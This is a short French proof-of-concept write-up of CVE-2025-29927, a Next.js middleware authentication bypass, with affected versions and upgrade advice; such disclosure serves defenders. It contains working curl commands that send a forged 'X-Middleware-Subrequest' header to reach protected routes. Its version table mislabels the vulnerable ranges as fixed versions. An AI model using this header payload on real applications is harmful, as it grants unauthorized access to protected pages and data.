
Preuve de concept d'exploitation pour CVE-2025-29927, démontrant un contournement d'authentification dans le middleware Next.js via l'en-tête x-middleware-subrequest, avec les versions affectées et des conseils d'atténuation.
Imaginez un videur à l'entrée d'un club, mais si vous lui dites "Je suis déjà à l'intérieur", il vous laisse passer sans vérifier. C'est exactement ce que fait CVE-2025-29927.
Le middleware dans Next.js s'exécute avant qu'une requête ne soit traitée, ce qui en fait l'endroit idéal pour gérer l'authentification. Next.js utilise un en-tête interne x-middleware-subrequest pour empêcher les requêtes récursives et éviter les boucles infinies. Cette vulnérabilité montre qu'il est possible de contourner ou d'ignorer complètement l'exécution du middleware — y compris les vérifications de sécurité critiques comme l'authentification avant d'atteindre une route protégée.
| Branche | Corrigé dans |
|---|---|
| 15.x | < 15.2.3 |
| 14.x | < 14.2.25 |
| 13.x | < 13.5.9 |
Des milliers ou des millions d'applications fonctionnent avec des versions de Next.js non corrigées. Sans atténuation, cette vulnérabilité permet à quiconque d'accéder à des routes protégées sans authentification — aucun identifiant requis.
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/private-area
La réponse renvoie la page protégée sans aucune authentification.
curl -s "http://<target>/<private-area>" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
Mettez à niveau Next.js vers une version corrigée :
15.x → 15.2.3 ou supérieur14.x → 14.2.25 ou supérieur13.x → 13.5.9 ou supérieur